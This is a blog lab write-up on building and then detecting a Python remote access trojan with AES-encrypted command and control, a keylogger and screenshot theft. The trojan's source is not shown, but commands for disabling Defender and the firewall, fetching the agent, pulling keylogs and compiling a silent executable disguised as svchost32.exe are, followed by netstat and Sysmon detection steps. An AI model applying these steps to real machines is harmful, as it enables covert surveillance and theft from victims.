zy0ud

Back

RAT C2 SessionRAT C2 Session

Overview#

This lab covers building a fully functional Remote Access Trojan (RAT) from scratch in Python, deploying it in a controlled Host-Only virtual environment, and then switching to the blue team side to detect and terminate it. The RAT uses AES-EAX authenticated encryption for all C2 traffic — no plaintext commands go over the wire.

Environment:

  • Kali Linux (Attacker): 192.168.0.101 — Host-Only network
  • Windows Server 2022 (Victim): 192.168.0.102 — Host-Only network
  • C2 Port: 8008/TCP

Section 1: Environment Setup & Network Configuration#

Assigned static IPs on both VMs on a Host-Only network, then verified bidirectional connectivity and confirmed the C2 port was reachable.

Kali:

sudo ip addr add 192.168.0.101/24 dev eth0
sudo ip link set eth0 up
ip addr show eth0
bash

Windows (PowerShell Admin):

New-NetIPAddress -InterfaceAlias 'Ethernet' -IPAddress 192.168.0.102 -PrefixLength 24
ipconfig /all
powershell

Connectivity checks:

# Kali → Windows
ping -c 4 192.168.0.102
bash
# Windows → Kali (port reachability)
Test-NetConnection -ComputerName 192.168.0.101 -Port 8008
powershell

Also disabled Windows Defender and the firewall for the lab session:

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-MpPreference -DisableRealtimeMonitoring $true
powershell

Kali ip addr show Kali with static IP 192.168.0.101 assigned

Windows ipconfig /all Windows Server with static IP 192.168.0.102

Ping from Kali to Windows 4/4 ping replies — bidirectional connectivity confirmed

Test-NetConnection port 8008 TcpTestSucceeded: True — C2 port reachable


Section 2: Installing Dependencies#

On Kali:

sudo apt update && sudo apt install -y python3 python3-pip git
pip3 install pycryptodome pyautogui pynput pyinstaller psutil
pip3 list | grep -E 'pycryptodome|pyautogui|pynput|pyinstaller|psutil'
bash

On Windows (PowerShell Admin):

pip install pycryptodome pyautogui pynput pyinstaller psutil
pip list
powershell

| Library | Purpose | |---|---| | pycryptodome | AES-EAX authenticated encryption for all C2 traffic | | pyautogui | Programmatic screenshot capture on the victim | | pynput | Low-level keyboard hook for the keylogger | | pyinstaller | Bundles the script into a silent .exe | | psutil | Enumerate live processes by name |

pip list on Kali All 5 libraries confirmed on Kali

pip list on Windows All 5 libraries confirmed on Windows


Section 3: Creating & Transferring the RAT Scripts#

The RAT uses a reverse-shell model — the victim connects out to the attacker's listener. All traffic is encrypted with AES-EAX and base64-encoded. Both scripts share the same 32-byte key.

Attacker Controller — hackerkey.py (Kali)#

Victim Agent — victimkey.py (Windows)#

The victim script starts a keylogger thread immediately on launch, then connects back to the attacker over port 8008. It handles remote commands, screenshot capture, file download, and encrypted shell output.

Transfer to Windows:

# Kali: host the script
cd ~
python3 -m http.server 8080
bash
# Windows: download it
Invoke-WebRequest -Uri "http://192.168.0.101:8080/victimkey.py" -OutFile "C:\Scripts\victimkey.py"
Get-Content C:\Scripts\victimkey.py | Select-Object -First 5
powershell

hackerkey.py first 15 lines on Kali Attacker controller script open on Kali

victimkey.py on Windows Victim agent confirmed in C:\Scripts


Section 4: Attacker Execution & Feature Demo#

Launch order: always start hackerkey.py on Kali first (it listens), then run victimkey.py on Windows. The RAT> prompt appears once the victim connects.

# Kali
python3 ~/hackerkey.py
bash
# Windows
cd C:\Scripts
python victimkey.py
powershell

Task 4a: Remote Command Execution#

From the RAT> prompt on Kali:

RAT> whoami     → lab\admin
RAT> hostname   → Group2
RAT> dir C:\Users
RAT> Get-Date
plaintext

RAT prompt with command output RAT session active — whoami, hostname, dir C:\Users returned from victim

Task 4b: Screenshot Capture & Download#

RAT> screenshot           # Victim saves screenshot.png
RAT> download screenshot.png
plaintext
xdg-open screenshot.png   # Open on Kali
bash

screenshot.png opened on Kali Victim's desktop captured and pulled to Kali

Task 4c: Keylogger Exfiltration#

The keylogger starts automatically when victimkey.py launches, writing every keystroke to C:\temp\keys.log. After typing on the victim machine:

RAT> download C:\temp\keys.log
plaintext
cat keys.log
bash

keys.log content on Kali Keystrokes captured: Ctrl, Enter, and printable characters all logged

Task 4d: Silent EXE Compilation#

# Windows
cd C:\Scripts
pyinstaller --onefile --noconsole victimkey.py
# Output: dist\victimkey.exe

# Rename to blend in:
Rename-Item ".\dist\victimkey.exe" ".\dist\svchost32.exe"

# Run silently — no console window:
.\dist\svchost32.exe
powershell

PyInstaller compilation output dist\victimkey.exe created successfully

Task Manager showing svchost32.exe Process running under svchost32.exe — no console window, blends in with system processes


Section 5: Defense & Mitigation#

5.1 Detect with netstat#

netstat -ano | findstr :8008
# TCP 192.168.0.102:XXXXX 192.168.0.101:8008 ESTABLISHED <PID>
tasklist | findstr <PID>
powershell

netstat showing ESTABLISHED on port 8008 Active C2 connection on port 8008 identified

5.2 Detect with Sysmon#

# Event ID 1 — Process Creation
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 1 } | Select-Object -First 10

# Event ID 3 — Network Connection
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 3 -and $_.Message -like "*8008*" } |
Select-Object TimeCreated, Message | Format-List
powershell

Sysmon Event ID 1 - process creation Sysmon Event ID 1 showing svchost32.exe process creation with full command line

5.3 Terminate the RAT#

# Kill by name
taskkill /F /IM svchost32.exe

# Block C2 port at the firewall
New-NetFirewallRule -DisplayName 'Block RAT Port 8008' -Direction Outbound -LocalPort 8008 -Protocol TCP -Action Block

# Verify connection closed
netstat -ano | findstr :8008   # Must return empty
powershell

taskkill confirmation + empty netstat svchost32.exe terminated and port 8008 connection confirmed closed

5.4 Re-enable Defenses#

Set-MpPreference -DisableRealtimeMonitoring $false
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
powershell

Blue Team Takeaways#

What worked for detection:

  • netstat -ano | findstr :8008 immediately flagged the outbound C2 connection
  • Sysmon Event ID 1 (Process Create) revealed svchost32.exe executing from C:\Scripts\dist\ — a non-standard path for anything named like a system binary
  • Sysmon Event ID 3 (Network Connection) tied the process to the outbound TCP session on port 8008

What made it harder to catch:

  • The binary was renamed to svchost32.exe to blend in with legitimate Windows processes in Task Manager
  • All C2 traffic was AES-EAX encrypted — no plaintext commands visible in a packet capture
  • The keylogger ran as a thread inside the same process, leaving no additional process entry

Key lesson: process name disguise is cheap and effective against casual inspection, but it falls apart the moment you check the binary path or hash — svchost32.exe in C:\Scripts\dist\ is an immediate red flag. Sysmon's Image field in Event ID 1 always shows the full path.

Python RAT: AES-EAX C2 & Keylogger
https://zy0ud.me/blog/eh2-lab1-python-rat-aes-c2
Author Ra'ad Alzyoud
Published at May 1, 2026